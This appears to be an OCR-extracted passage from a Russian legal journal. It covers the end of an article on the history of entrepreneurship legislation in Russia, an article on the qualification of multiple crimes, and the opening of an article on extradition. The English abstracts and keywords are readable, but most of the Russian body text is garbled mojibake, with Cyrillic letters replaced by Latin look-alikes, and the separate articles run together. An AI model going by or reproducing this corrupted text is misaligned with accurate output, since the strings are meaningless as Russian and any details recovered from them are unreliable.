MEXIYHapOJIHBIX JIOTOBOpaX, TAKMX Kak corjameHus ¢ Busantuelt u "Benukas Scca"
Uunrucxana. [lepBblii oTam pa3BUTHs NpEAIIPUHUMATENIBCTBA OXBaThIBAcT nepuo ¢ XII Bexa 10
Havyasia XIX Beka u moapasiensieTcsi Ha HECKOJIbKO MEPHOIOB.

I[MepBsiit nepuon (XII-XV Beka) — BpeMs MOSBICHUS MUCbMEHHBIX UCTOYHHUKOB TIpaBa,
takux kak Hosropoackue u IlckoBckue cynHble TpamoThl, a Takke CyneOHUK, 4YTO
CBUJIETEIBCTBYET O HAJIMYUMM IMCAaHBIX 3aKOHOB, KacalolMXCs TI'PakIaHCKO-TIPABOBBIX
oTHoIIeHUH. Bropoit nepuox npopomkaercs ¢ npasienus MBana I'po3noro no snoxu Ilerpa I,
KOrjla HaOMIoaeTcst yXyALIEHWE CUTyallud Uil KYILOB, TaK Kak IPaBUTEIbCTBO
COCPEIOTOUYMIIOCH Ha NPHUBJICUYEHUH MHOCTPAHHBIX MHBECTHIIMH, YTO HETaTHMBHO CKAa3ajoCh Ha
poccuiickuX TOproiax. B 3ToT nepuo Taxke ObUT BBEIEH HHCTUTYT MOpy4YHTeNscTBa[ 1].

B nepuon npasnenus [etpa I B Poccun HaumHaeTcst yHupUKAIUS 3aKOHOIATEIHCTBA T10
€BpONECHCKMM  CTaHAapTaM, 4YTO CIOCOOCTBYET Ppa3BUTHUIO  OPraHM30BaHHBIX  (OpM
NpeANPUHUMATENBCTBA, TAaKUX KaK KOMIIAHUM M ToBapuilecTsa. Poccuiickue OH3HECMEHBI
COBMECTHO C MHOCTpPAaHLIAMH CO3/aI0T aKLMOHEPHBIE KOMIIAHUH, a TOCYJapCTBO KOHTPOIUPYET
IPEANPUHAMATEIBCKYIO ACATEIBHOCTh 4epe3 crnenuanbHble Komtermu. Iletp 1 axTuBHO
MOJICP)KUBAET MpeAlpUHUMATENIeH, OOJIBIIMHCTBO KOTOPBIX MPOUCXOIWIO W3 KPECThSIH WU
nocajickux Jroaei. B 1698 roqy o paspemiaer KymniaM 0ObEAUHITHCS B KOMIIAHUU JJIs Ooee
MacmtabHoi ToproBnu. B 1703 romy B Cankr-IletepOypre OcCHOBaHO TEpBOE KyIEUECKOe
coOpanne, a B 1722 roay co3marOTCS KYINMEYECKHE TWIIBIUU. DTH THIIBIUU TPEIOCTABIISIOT
KyIIaM JIITOTHl M CIIOCOOCTBYIOT OOPa30BaHMIO HOBOTO TNPHBUIIETMPOBAHHOTO COCJIOBHA. B
1724 romy BBOIWTCS TaMOXKCHHBIN Tapu, MOIICPKUBAOIINN POCCUHCKUX MPOU3BOIUTENCH,
YTO CBUJETENBCTBYET O Hayaje MOJUTUKU FOCyJapCTBEHHOro mpoTekunonn3ma. Onnako Iletp 1
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HE YYUTHIBAET HEOOXOJUMOCTb CAMOCTOSTEIBHOCTH IpPEANpPUHUMATENEH W  IbITaeTCs
KOHTPOJIMPOBATh UX JESITEIbHOCTD, HAIIPABJIsisl KallUTajbl B Ka3Hy [2].

JanbHeiiee pa3BUTHE MNPEANPUHUMATEIHLCKOIO 3aKoHoAarenscTBa B Poccum
npom3onuio Bo Bpems npaenenuss Exatepunsl II (1762-1796), xotopasi cHsIa OrpaHHYCHHS,
JIMKBUUPOBAJIa MOHOIIOJIMY | TPOBEJIa MOJHYIO JOepanu3aiuio Toproeiu. B 1785 romy Opuia
onyonukoBaHa JKamoBaHHas rpaMOTa TropojaMm, KOTopas MNpelocTaBWiIa KyIIlaM MepBOH U
BTOPOM T'MJIBAMHU JIONOJHUTEIIbHBIE TPaBa, BKIKOYAs OCBOOOK/IEHHE OT TEJICCHBIX HaKa3aHUH U
BO3MOKHOCTb BIJIQZIcHUA KpynHbIMU mpennpuatusMua. B konne XVIII — magane XIX Beka
MPOJOJKAJIOCh  3aKOHOJATENIbHOE PETYIMPOBAHUE KPECThSIHCKOrO IMPEANPUHUMATENHCTBA,
MO3BOJISIBILIEE KPECThSIHAM 3aHMMAThCSl MEJKOM TOPrOBJIEW, OTKPBIBAaTh JIABKU M CKIIAJICKUE
nomenieHus. IlepBas monoBuHa XIX Beka OoTMeuUeHa MEPEXOAOM KYIMEUECKOro KaluTaia B
IIPOM3BOJCTBO OJiaroiapsi 3aKOHOJATENLHON IMOJIEP)KKE IPaBUTEIbCTBA, HAlpPaBIEHHON Ha
pa3BUTHE NpeIIpUHUMATENIBCTBA. JIBOPSHCTBO TaK)Ke IPHUBICKAJIOCH K IPEIIPUHUMATEIBCTBY,
0COOCHHO B TPOMBIIUICHHOCTH, TJ€ OHO B3aMMOJICWCTBOBAJIO C TOCYJAPCTBEHHBIMH MEpaMu
npoTeKkiMoHn3ma. B yactHoctH, ¢ 1754 roga ObutM BBEAEHB! OIPAHUYEHUS Ha BUHOJENUE VIS
KyIE4YecTBa, YTOObI MOJIICP>KaTh JIBOPSIHCKUE NPEANIPUITHUS B 3TOM chepe.

B 1800 rogy Obut mpuHAT YcTaB 0 OaHKPOTCTBAaX, KOTOPHIN yCTaHaBIMBAll Y4YeT U
Oyxranteputo ans toprosueB. B 1807 romy Anekcannp | mzgan manudect, pasperaromuit
CO3[laHME TOBApUILECTB U1 BHEIIHEW Toprosiau. Yka3z 1818 roma mo3Bosmi KpecTbsiHam
OTKpbIBaTh (adpuku u 3aBoabl. [log pyxoBoactBom M.M. Cnepanckoro B 1826 rony Hayanuch
pabotsl Hajr CBoza 3aKOHOB, BeTynuBILero B cuiy B 1835 rony. B 1830-e ronsl manydakTypbl
CTaJIM MpEeBpAIlaThCs B KaNUTAIUCTHUECKUE (aOpHKH, HECMOTPS Ha CAEP’KUBAIOILIEE BIMSHUE
KperocTHoro npasa. Pedopmbr Anekcanapa Il B 1861 rony, oTMEHUBIINE KPETIOCTHOE MPABO,
OTKPBUIM HOBBIE BO3MOXKHOCTU Uil mIpeanpuHumMatensctBa. B XIX Beke uwmcno ¢abpux
YBEJIMUYWIOCH MOYTH B 13 pa3, 4To NpUBENIO K U3MEHEHHIO OTPACIIEBOM CTPYKTYpPBI, C aKLIEHTOM
Ha MalIMHOCTpoeHHe. Bo BTOpOil MoioBUHE BeKa ObUI MPUHSAT Psiji 3aKOHOB, (POPMHUPOBABIIMX
MIPEANPUHUMATENILCKOE 3aKOHOAATENBCTBO M IOHATHE «rOpUAndeckoe nauuo». B Hauame XX
Beka B Poccum cdopmupoBancs HOBBIM Kiace OypiKyasuM, NPUXOIUBIIMNA M3 Pa3HbBIX
COIIMAJIbHBIX CJIOEB M HAllMH, BKIIIOYAs KPECTbsH, CTApOOOPSIIEB U BBIXO/IIEB M3-3a TPAHUIIbI,
HEPEJIKO CTAaHOBSICh MelleHaTaMH [3].

[Tepron ¢ 1907 mo 1917 rr. cunTaercs «pycCKUM 4yoM» Oiarofapst S3KOHOMHUYECKOMY
noabeMy. Paspymienue oOmumHbl M yupexaeHue KpecTesiHCkoro OaHka CHOCOOCTBOBAU
(bopMUpOBaHUIO CaMOCTOSITETIBHBIX ~ KPECThsIH-(hepMepOB, KOTOpPBIM rocyaapcTBO
NPEeIOCTAaBIUIO KpeANThl. PacTymuil cnpoc Ha NPOMBINUIIEHHYIO MPOAYKIMIO CO CTOPOHBI
KPECThsIH paboTasl Ha MOABEM SKOHOMUKH M COACHCTBOBAJ CO3JIAaHMIO CIIOS TIpEeITPUHUMATEIEH.
B Poccun Ha mporspkenun 1876—1913 1T. coxpaHsICs aKTUBHBIM TOPTOBBIM OajlaHC, YTO
CIOCOOCTBOBAJIO YKPEIUICHUIO pyOJisi Kak CTa0WibHONW BamoThl. OO0BEM MPOMBIIUICHHOTO
MpoU3BOICTBA MOBbICWIICS B 10—12 pa3 mocyie 0TMEHbI KPEMTOCTHOTO MpaBa.

3HAUNUTENIbHOE BHMMAHHUE YJIEISJIOCh IPAaBOBOMY PETYJIUPOBAHUIO IKOHOMMKH,
pa3BUBAIOCH TOHATHE IOPUIMYECKOrO JIMI@ W MNPUHIMI CBOOOABI JOrOBOpa, 4TO
CTUMYJIMPOBAJIO MPEANPHUHUMATENLCKYIO aKTHBHOCTh. Pa3BHBanoch OaHKOBCKOE J1€7I0, KOTOPOe
YCTAHABIIMBAET KOHTPOJIb HAJ JECHEKHBIM OOpAallleHWEM U CHHXKAeT PHCK HE3aKOHHBIX
orneparuii. KimoueBsiMu urypamu B 3tom mporiecce cranu C.HO. Burre u I1.A. CronbimuH,
KOTOpBIE MPOBENH pePOpMBl Ul YCKOPEHHUs HPOMBIIUIEHHOIO POCTa, BKJIIOYas BBEIEHHE
30JI0TOTO  JIGHE)KHOTO ~ OOpalleHus, YTO OO0ECleunBaio CTaOMIBHOCTh AOKOHOMHUKH |
3aKOHOIOCITYIITHOCTb MpeAnpUHUMarenei [4].

Arpapnas pedopma 1906 roma, mposenenHas ILA. CroipImuHBIM, CIIOCOOCTBOBAIA
Pa3BUTHIO CEIBCKOTO XO35HCTBA, MPeoOpa30BaB KPECThIHCKOE 3eMIIEBIAZICHUE B OypaKya3HOE U
MIPEJOCTaBUB MaTEpUAIbHYIO TOMOIIb JAepeBHE. KpecTbsiHam paspelwiv MpoaaBaTh 3eMIIIO,
NOJTy4aTh KPEAUThl OT 3eMENIbHOr0 OaHKa M BBIXOAUTH U3 OOLIMHBL. OJHAKO MEXIyHApOAHBIN
kpusuc 1914 roma w mocnenyromasi peBomouus 1917 roma mpuBenu K KapAWHAIBHBIM
M3MEHEHUSIM B KOHOMMKE, 3aMEHHMB PHIHOYHBIE METOJIbl Ha aMUHHUCTPATUBHBIE U YCTAaHOBHB
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CTporyro neHtpanu3aiuio. OObsBICHHE MPEANPUHUMATEIHCTBA BHE 3akoHa B 1918-1921 romax
U pPa3pyLIEHHE TOBAPHO-ICHEXKHBIX OTHOIIEHUM IPHUBEIO K 3KOHOMUYECKOMY KpH3HCY U
BOCCTaHMSAM. DTO CHOCOOCTBOBAJIO MEPEXOoAy K HOBOM skoHomuueckod mnonutuke (HIII),
KOTOpasi BOCCTAHOBMJIa TOBAPHO-JICHEXKHbIE OTHOIIEHHU U oOecreursia MpeapuHUMATEebCTBY
OTHOCHTENBHYIO cBOOOMYy. B 1921-1926 romax HOII cmocoOCTBOBa  BO3POXKICHUIO
NpeANpUHUMATENbCTBA, OAHAaKo B 30-X romax OHO CHOBa ObUIO MoOAaBiieHO. BozpokneHue
npeanpuanMartensctBa B CCCP npon3onuio TOJNBKO ¢ MPUHATHEM 3aKOHOB B KOHLE 80-X U
Hayase 90-x rooB.

B nauanie 90-x romoB Poccus HampaBuiach Ha pa3BUTHE PHIHOYHBIX OTHOILIEHUM, YTO
IPUBEIO K  CJIOKHOMY U TPOTUBOPEYMBOMY  CTAHOBJICHUIO  WHIMBUAYAJIBHOTO
npeanpuHuUMaTenscTBa. OCHOBOM AJIt ATOTO CTalM 3aKOHBI, Takue Kak «O Mpearnpuatusx u
IIpeANPUHUMATENBCKON fesiTenbHocT» 0T 1990 roga u apyrue, npuHatele B Havase 90-x. Otu
3aKOHO/ATENIbHBIE aKThl CIIOCOOCTBOBAM (POPMHUPOBAHUIO 3KOHOMUKO-TIPABOBBIX YCIOBHM ISt
BO3POXJICHUSI  TPEIPUHAMATENBCTBA, COCPEJOTOYMB BHMMaHHWE Ha TpaHchOpMaIuu
OTHOLIEHMH COOCTBEHHOCTH, YTO OBUIO HEBO3MOXKHO B YCIIOBHSX COLHATUCTUYECKOM
HKOHOMUKH C JOMHHHUPOBAHUEM T'OCYIapCTBEHHOW COOCTBEHHOCTH .

Koncturymust P® 1993 roma 3akpenmia paBHYIO 3allUTy pa3iMuHBIX (HopM
COOCTBEHHOCTH, BKJIIOYAas 4YacTHYIO, 4YTO CO3JAJI0 TMpaBOBYIO 0a3y sl  BeneHHS
MpeANPUHUMATENILCKON  JAEATEIbHOCTH. TeM He MeHee, INpolecC CTAaHOBJEHHUs Kjacca
MpeANpUHUMATENIEH OKazaics CIOKHBIM M3-3a YTPaThl MHOTOBEKOBOT'O ONBITA, HEJOCTATOUYHOTO
MPaBOBOTO PETrYJIMPOBAaHHUS M HEraTUBHOIO OOIIECTBEHHOTO MHEHUSI O MpPeANpPUHHMATEISX,
copMHupoBaBIIErocss B TOAbl companm3Ma. [lpeomoneHwe STHUX TPYIHOCTEH —CTalo
HEOOXOTUMBIM ISl YCIIEIIHOTO Pa3BUTHs NPEANPUHUMATENHCTBA B HOBOM AKOHOMHYECKON
peasibHOCTH [5].

Takum o0pa3oM, pa3BUTHE NpeANnpUHUMaTeNIbcTBa B Poccum mpezacraBiseT coOoi
CJIOKHBIN TPOLIECC, KOTOPBIN MpETepHeBaeT U3MEHEHUs] B 3aBUCHUMOCTU OT IMOJUTUYECKUX M
HSKOHOMMYECKHX YCIOBUH. 3aKOHOAATENIbCTBO, AAANTHPYEMOE BIIACTHIO, OKA3bIBAJIO MPSIMOE
BO3JICHCTBHE Ha TpeINpUHAMATENEH, a UX COOCTBEHHOE BIMSIHUE HAa SKOHOMHUKY W TOJMTHKY
CTpaHbl TaKk)Ke HEJb3sl UTHOPHPOBATh. B pazHbie mepuopl MpeAnpHUHUMATEIHN CTAIKHBAIKNCh C
M3MEHEHUSIMH, KOTOPbIE MOIJIM KaK OCHa0isATh, TaK M YKPEIUIATh UX MO3UIMU. OJHAKO JH00bIe
KpU3HCHBIE CHUTyallud B cdepe MNpEeANpUHUMATENbCTBA HEU3MEHHO TMPUBOIUIN K
HSKOHOMMYECKHM IIpoOIeMaM U POCTY COLMAIbHOM HAaNpsSKEHHOCTU. B COBpEMEHHBIX peausix
Ba)KHO [TPU3HATH 3HAYUMOCTb NIPEATNPUHUMATEIBCTBA 17151 )KOHOMHUYECKOTO IIPOrpecca, O3TOMY
TpebyeTcs Ooyiee BHUMATENbHOE M TIIATEIbHOE PACCMOTPEHHE HOPMATHBHO-TIPABOBBIX aKTOB,
Kacarolmxcs paboThl peIIpuHUMATENeH.
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AHHOTAIIMA

B cratbe paccMaTpuBaroTCs akTyaldbHBIE MPOOIEMbI KBATU(PUKAIIMA MHOKECTBEHHOCTU
MPECTYIUIEHUH, 3HAYUMOCTh KOTOPHIX OOYCIIOBIIEHA KaK pPacIpOCTPaHEHHOCTHIO JTaHHOTO
SBIICHUS B CyJNeOHON MpaKTUKE, TaK U HEOOXOIMMOCTHIO COBEPIICHCTBOBAHUSI YTOJOBHOTO
3aKOHOJIaTeNIbCTBA. AHAM3UPYIOTCS KIIIOUEBBIE MPHU3HAKUM MHOMXKECTBEHHOCTH, €€ pasiiMuue C
€IMHAYHBIMU TPECTYIUICHUSIMU, a TAKXKE CIOXKHOCTH, CBSI3aHHBIE C KOHKYPEHIIMEH YrOJIOBHO-
mpaBoBbIX HOpM. Ocoboe BHHMMaHHE YENAETCs HEOOXOAUMOCTH YCTpaHEHHsS MpoOesoB B
3aKOHOAATCIbCTBE, IMOBBIINICHUA Kady€CTBA HpaBOHpI/IMeHeHI/IH 158 O6€CH€‘-I€HI/I$I CHpaBCI[.TII/IBOCTI/I
IpY Ha3HAUeHWW HakazaHus. lccienoBaHue akIEHTHPYET BHHMAHHME HAa BaXHOCTH
COTJIACOBAHMS TEOPETUUYECKUX HAPAOOTOK M 3aKOHOTBOPUYECKOM ACSITEILHOCTH YIS TTOBBIIICHUS
3¢ GEKTUBHOCTH PETYIUPOBAHUS JaHHOTO HHCTUTYTA.

KiioueBble  cji0Ba:  MHOXXECTBEHHOCTb  MPECTYIUIGHWH,  YrOJOBHOE  TPaBo,
KBaM(UKALMS TPECTYIUICHUH, 3aKOHOJATEeNbHBIE MPOOENbI, PEIHUIUB, COBOKYITHOCThH
MPECTYIUICHUH, YTOJIOBHO-TIPABOBAasi OTBETCTBEHHOCTb.

Abstract

The article examines current issues of qualification of multiple crimes, the significance of
which is due to both the prevalence of this phenomenon in judicial practice and the need to
improve criminal legislation. The key features of multiple crimes, their difference from single
crimes, as well as the difficulties associated with the competition of criminal law norms are
analyzed. Particular attention is paid to the need to eliminate gaps in legislation, improve the
quality of law enforcement and ensure fairness in sentencing. The study emphasizes the
importance of coordinating theoretical developments and legislative activity to improve the
efficiency of regulation of this institution.

Keywords: multiple crimes, criminal law, qualification of crimes, legislative gaps,
recidivism, set of crimes, criminal liability.

[TpoGiemMa MHOKECTBEHHOCTH TIPECTYIUUICHHHA SBISIETCS OJHOW W3 IICHTPAJIbHBIX B
COBPEMEHHOM YTOJIOBHO-IIPABOBOM HAYKE U MpakKTHKE. BpICOKas CTENEHb paclpoCTPaHEHHOCTH
JAHHOTO SIBJICHWSI, OTMEUEHHas B MCCIIEOBAHMSX, YKa3bIBa€T HA 3HAYMMOCTb TEMBbI JUIS
MPaBOOXPAHUTEIBHBIX OPTaHOB U CyA€OHOM cuctembl. [IprMepHO MoJOBHHA BCEX OCYKIACHHBIX
COBepLIaeT JAeUCTBUS, KBATUPUIUpYyeMble Kak (JOpMbI MHOXKECTBEHHOCTH MPECTYIUICHUI. DTO
OGCTOSITCJILCTBO CTaBUT 1CpPCa HUCCICAOBATCIIAIMU U IPAKTUKAMH BaKHEHIITIIE 3aJa4u:
KOPPEKTHYIO  KBaTM(UKALMIO TPOSBICHUNA MHOXKECTBEHHOCTH, pasrpaHuyeHue e€ ¢
€IMHUYHBIMU TPECTYIUICHUSMH, CIIpaBe]JIMBOE HAa3HAUEHUE HAKa3aHUS, a TAKXKe pa3paboTKy
000CHOBaHHBIX KPUTEPHUEB OCBOOOKICHHUS OT OTOBIBAHUS HAKA3aHHUSL.

Ocoboe 3HayeHue MHaHHON TmpoOIEeMATUKH OOYCIOBICHO TEM, YTO OIIMOKH B
MIPaBONPUMEHEHUH BJIEKYT 3a cO0O0W HapylIeHHs MPUHIMIIOB CIIPABEIJIMBOCTH M TPABOBOMN
ornpeneneHHocTu. bosee TOro, BONPOCHI MHOXECTBEHHOCTHU MPECTYIJIEHUH 3aTparuBarOT
(GbyHIaMEHTaIbHBIE ACMEKThl YTOJIOBHOTO MpaBa, TaKHMe KaK OMpeeTICHHWE TPaHUI] YrOJIOBHON
OTBETCTBEHHOCTH M 0OeCIICUCHHUE 3alllUThI O6H.I€CTB€HHBIX OTHOIIICHUH.

W3yuenne mpoOaeMbl MHOXKECTBEHHOCTH TMPECTYIUICHUN 3aCIy>KUBAeT MPUCTAILHOTO
BHUMAaHUS HAaY4YHOro COOOIIEeCTBA, TaK KaK pacCMaTpUBAaEMOE SBJIEHHE XapaKTEpU3yeTCs
BBICOKOW PACHpPOCTPAaHEHHOCThIO W AaKTYalIbHOCTHIO JJIsl MPABOOXPAHUTEIBHOM MPAKTHUKU.
CornacHo pe3ysibTaTaM MHOTOYMCIIEHHBIX UCCIIEI0OBAHUM, PAKTUUYECKH ITOJIOBUHA OCYKACHHBIX
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— 9TO JMIA, YbHU JEHCTBUS NPEACTaBIAIOT cO000M oaHY H3 (OpPM MHOXKECTBEHHOCTU
NpecTyIUIeHNH. MHOXECTBEHHOCTh MPECTYIUICHHH OXBATHIBACT MIMPOKHHA CIEKTP MpoOJieM: OT
KBAIM(UKALMU PA3IMYHbIX TPOSBICHUNA MHOXKECTBEHHOCTH [0 pasrpaHUueHus e€
€IMHUYHBIMU CJIOKHBIMU NPECTYIUIEHUSIMH, BOIIPOCOB HA3HAUEHUs HAKA3aHUS B TAKUX CIydasx
Y OCHOBaHU /17151 OCBOOOXKIEHHS OT ero oTObIBaHus. OT MPaBUWIbHOCTU UX Pa3pelIeHUs 3aBUCUT
CIIPaBeUIMBOCTb ITOCYAAPCTBEHHOM peaKIMK Ha IPOTUBOIIPABHOE MIOBEJEHHUE JINL, MHOTOKPaTHO
HapYILIAIOIIUX OXPaHsIeMbIE 3aKOHOM UHTEPECHI IMYHOCTH, OOIIECTBA U FOCYIapCTBa.

CyTb MHOYKECTBEHHOCTH MPECTYIUICHUI 3aK/II0YAaeTCsl B COBEPIICHUH OJHUM JIUIIOM
IBYX M Ooyiee JNesiHUM, KaXI0€ M3 KOTOPHIX KBATUPHUIUPYETCS KaK CaMOCTOSTENbHOE
npecTyruieHue [3]. OTOT MHCTUTYT YrOJOBHOIO IIPaBa BBIIEISETCS CIEIYIOIMMU KIIFOUEBBIMU
MPU3HAKaMU: KaXKJI0e U3 ACUCTBHUM MOHKHO OBITh MPECTYIUIEHHUEM, Ka)10€ U3 HUX JIOJIKHO
COXPaHATh CBOIO IOPUAMYECKYIO 3HAYMMOCTh Ha MOMEHT CYIEOHOTO pacCMOTpEeHHus Jefa, a
TaKKe UMETh CAMOCTOSITEJIbHBII COCTaB MPECTYILICHHUSI.

Heo6x0auMoCTh KOMITJIEKCHOTO U3YYEHUs BOIPOCOB KBATMU(PHUKAIIMM MHOXKECTBEHHOCTH
MPECTYIUIEHU 00YyCIOBIeHa Kak TNpoOelaMu B 3aKOHOJATENLCTBE, TaK M IMPOOJIEMaMH €ro
MIPAKTUYECKOr0 IPUMEHEHHSI.

K uncny npuuus, cmoco6CcTBYIOMUX BOSHUKHOBEHHIO 3TUX MPOOJIEM, OTHOCSTCS:

1. Bo-mepBblX, 3TO HeIOCTaTO4HAas ajanTalisi HOPM K  pEabHbIM
oOcTosiTeNbcTBaM. BO-BTOPBIX, WIHOPHUPOBAHHE B3aMMOCBS3M OTAEIHHBIX
HOPM YI'OJIOBHOT'O ¥ CMEXKHBIX OTpaciiel Mpasa.

2. Hapymenus mnpu TOTKOBAaHMM U TIPUMEHEHHMHM HOPM, BBI3BaHHBIE Kak
CYOBEKTUBHBIMH, TaK M OOBbEKTUBHBIMU (paKTOpaMHu.

3. OrpaHuYyeHHOE HCIIOIB30BAaHME HAKOIUICHHBIX HAYYHBIX 3HAaHUU B Ipolecce
pa3pabOTKH 1 COBEPIICHCTBOBAHMS 3aKOHOATENBCTBA.

4.  HepmoctaTtouHblii MEXaHU3M IJIi CBOEBPEMEHHOTO BHECEHHS M3MEHEHUI Ha
OCHOBE aHaJIM3a MPAKTUKU.

Hecmotps Ha TO, uto raBa 3 YK P® ymomuHaeT TONbKO /1Ba BHIa MHOKECTBEHHOCTHU
— COBOKYITHOCTb NPECTYIUIEHUH U PELUINB, TEOPHsI YTOJIOBHOTO IIPpaBa 0OOCHOBAHHO BBIIETISIET
TpPeTHil BUJI — Ha3HaYCHHWE HAKa3aHHs MO COBOKYMHOCTH MPHroBOopoB [2]. Ero oTcyrcTBHe B
TEPMUHOJIOTMYECKOM ammnapare IaBbl O NPECTYIUICHMH W BHUIAX MPECTYIUIEHUH BBI3bIBACT
Borpocsl, XoTs B rase 10 YK P® on ¢daxTrdecku 3akperuieH.

OpHOMl W3 COXKHEHIIMX 3a7jad YroJOBHOIO IpaBa SIBIISIETCS TOYHOE OIpeesieHHE
I'PaHMLIBI MEXY €IMHUYHBIM NPECTYIUIEHUEM U MHOKECTBEHHOCTBIO. EJMHCTBO MpecTyIieHus
MOJKET 3aBUCETH OT psifa (DaKTOPOB:

- OOBEKT MPECTYMHOr0 MOCSTaTeIbCTBA;

- B3auMocCBsI3p MEXIY NEUCTBUIMU;

- ®opMa BUHBI (€IMHCTBO YMBICIIA).

Tem He MeHee 3aKOHOAATENILCTBO HE BCETAA CJIEAyeT YKa3aHHbIM KPUTEPUSIM.
Hanpumep, cocTaBsl, comepkaiiue B cebe HeCKONbKo nessHui (ct. 222, cr. 228 YK P®), wnn
MOCSTaTeNILCTBA HA HECKOJILKO OOBEKTOB OJIHUM JieHcTBUEM (CT. 162, cT. 131 YK PD).

OtTnenbHOr0 BHMMAHMS 3aCily’KMBAcT BOIPOC KOHKYPEHILMM HOPMBI-YaCTH U HOPMBI-
uenoro. Yacte 1 cratem 17 YK PO uckmodaer omnpeneneHHble cllydal W3 COBOKYITHOCTH
MIPECTYIUIEHUH, HO A3TOT IOJIXOJ HE OXBAaThIBAET BCE BO3MOXKHBIE ClieHapuu. Hampumep, B
HOpMeE-1IEJIOM MOTYT OTCYTCTBOBATH IpSIMbIE YKa3aHUsl Ha COCTaB, 3aKpEIJICHHbI B HOpMe-
YacTU. 37ieCh TOJKOBaHME YacTO OIHUPAETCs Ha CyAeOHYI0 MNPaKTUKYy M JOKTpPHUHAJIbHbIE
MOJIXOJIBL.

Takum 00pa3om, aHanW3 MHCTUTYTAa MHOXKECTBEHHOCTH NPECTYIUIEHHH MOATBEPXKIAET
€ro BayKHOE 3HAYECHHUE JJIsl YTOJIOBHOIO MpaBa KaK CUCTEMbl HOPM, PEryJIMPYIOIIUX OTHOLICHUS,
BO3HHKAIOIIUE B CBSI3U C COBEPIIEHUEM HECKOJIBKUX NPECTYIUIEHUH OJHUM JIMIOM. Y CUIIEHUE
HAY4YHOI U MPaBONPUMEHUTENLHON 0a3bl, a TaKKe A0pPadOTKa 3aKOHOJIATEIIbHBIX MEXaHU3MOB,
CIIOCOOHBIX OINEPAaTUBHO pPEAarupoBaThb HAa BO3HUKAIOLIME MPOOJEMBI, OCTAIOTCS KIIOUEBBIMU
HarpaBJICHUSIMU paOOTHI.
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C yd4eToM BBIICU3IIOKEHHOTO, CYATAEM HEOOXOAMMBIM [l] OTMETHTBH, YTO aHAIW3
MHCTUTYTa MHOXECTBEHHOCTH NPECTYIUICHUNA CBHUJETENILCTBYET O €ro Ba)XHOCTU Kak st
TEOPETHUYECKOM HAayKH, TaK W JUIsl NPAKTUYECKOW MPaBONPUMEHUTEIBHOU JI€ATEIbHOCTH.
MHOKECTBEHHOCTh TPECTYIUICHUI Tpe/CTaBIsgeT cOoO0OW CIIOXKHBIM TpaBoOBOM (eHOMEH,
BKJTIOUAIONIHMH B ce0s1 MHOrooOpasue GopM B KpUTEPUEB, KOTOPHIE TPEOYIOT TOUHOTO ITPABOBOTO
YpEryJIupOBaHusl. Bonpockl  COBEpIIEHCTBOBAaHMSI ~ 3aKOHOJAATENbCTBA,  YCTPAHEHHS
MIPABOIIPUMEHUTEBHBIX OMIMOOK Y YKPETICHHUS B3aUMOICHCTBHUSI MEXTY TEOPHEH U MPAKTUKON
OCTAIOTCS KIFOUEBBIMU HAIIPABIICHUSIMU /17151 TAJTbHEUIIIUX UCCIIEOBAHUM.

s onTuMalbHOTO (PYHKIIMOHUPOBAHKST WHCTUTYTa MHOXKECTBEHHOCTH TPECTYIUICHUI
HEOOXOAMMO HE TOJBKO YYMTHIBATh CYILECTBYIOIIME MpOOENbl B 3aKOHOAATENBCTBE, HO M
AKTUBHO BHEAPSATh HApaOOTKM HAYyYHOTO COOOIIECTBA B 3aKOHOTBOPYECKYIO JESATEIHHOCTD.
CoBepIlIEHCTBOBAaHME  JIAHHOTO  HAMNpaBJICHUs] JOJDKHO Oa3upoBaTbCcs HA  MPUHIIUIIAX
CHUCTEMHOCTH, HAYYHONH 0OOCHOBAaHHOCTH M TECHOM CBSI3U C PeaIbHOM Cy/1eOHOM MPAKTUKOM.
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B mHactosmieil cratbe paccMaTpuBaIOTCS OCOOCHHOCTH PEaM3allii  OTIEIBHBIX
MIPUHIUIIOB YTOJIOBHOTO CYIONIPOU3BOJICTBA MPU PACCMOTPEHHH €T, CBSI3aHHBIX

C DKCTpaIUIMeld. AKIICHT CIellaH Ha MpoOiieMax MPaBOBOTO PETYJIHUPOBAHUS, BKIFOYAS
HEOMpeAeNEHHOCTh CTaTyca IWI, MOAJIEKAIIUX BbIIadye, CI0XKHOCTH B TPUMEHEHUH MeEp
MPOIIECCYATBPHOTO TPUHYKICHHS M OOCCIICYCHUE TpaB Ha 3aIUTy W TepeBoia. OTMedYeHBI
mpo0enbl HAIIMOHATBFHOTO 3aKOHOJATENbCTBA U MEXKIYHAPOAHBIX COTJIAIICHUMN, BIMSAIOIINE Ha
3pGEKTUBHOCTh JKCTpamulMi. Ha OCHOBaHWM TMPOBEACHHOTO AaHAIM3a IPEUIOKEHBI
PEKOMEHIIAIIMK TI0 COBEPIICHCTBOBAHUIO  YTOJIOBHO-TIPOILIECCYANIbHBIX HOPM C  LIENBIO
COONIONICHNSI  TIpaB  4YEJIOBEKa M  TOBBIMEHUS  IPPEKTUBHOCTH  MEXKTYHAPOTHOTO
COTPYIHUYECTBA.

KiroueBble cj10Ba: SKCTpajJuIMs, YroJIOBHOE CYAONPOM3BOACTBO, IpaBa YEJIOBEKa,
MEXIYyHApOIHOE COTPYAHMYECTBO, MPOIECCyaldbHbIE MPHUHLUIbBL, TMPAaBO HA  3aIIUTY,
3aKOHO/IaTeNILCTBO.

Abstract

This article examines the specifics of implementing individual principles of criminal
proceedings in cases involving extradition. The emphasis is on the problems of legal regulation,
including the uncertainty of the status of persons subject to extradition, the difficulties in
applying procedural coercion measures, and ensuring the rights to defense and transfer. Gaps in
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national legislation and international agreements that affect the effectiveness of extradition are
noted. Based on the analysis, recommendations are proposed for improving criminal procedure
rules in order to respect human rights and increase the effectiveness of international cooperation.

Keywords: extradition, criminal proceedings, human rights, international cooperation,
procedural principles, right to defense, legislation.

Bonpocel  peanuzanuy  yroJIOBHO-IIPOLECCYANIbHBIX NPHUHIMUIIOB B paMKax Jed,
CBSI3aHHBIX C JKCTPAJMIMEH, 00JIaaloT BBICOKOM 3HAYMMOCTBIO B COBPEMEHHBIX YCIIOBMSX,
KOTJla MEXIyHapOIHOE COTPYAHUUYECTBO B OOpbOE C MPECTYIMHOCTHIO MPHOOPETAET OCOOYIO
aKTyaJIbHOCTb. [Ipy 3TOM CII0’KHOCTH, BO3HUKAIOLIUE

NP NPUMEHEHWM HOPM HALMOHAIBHOTO W MEXIYHApOJHOIO IpaBa, CTABAT IEpeEN
IOpHCTaMH 3ajjaudl, TPEOYIOIIHME HAYYHOIO aHaJIM3a U MPAKTUUYECKOTO PEILIEHHS.

B ycnoBusx rimobanuzanyy npouecchl SKCTPaJULU CTAHOBATCS HEOThEMIIEMOM YacThIO
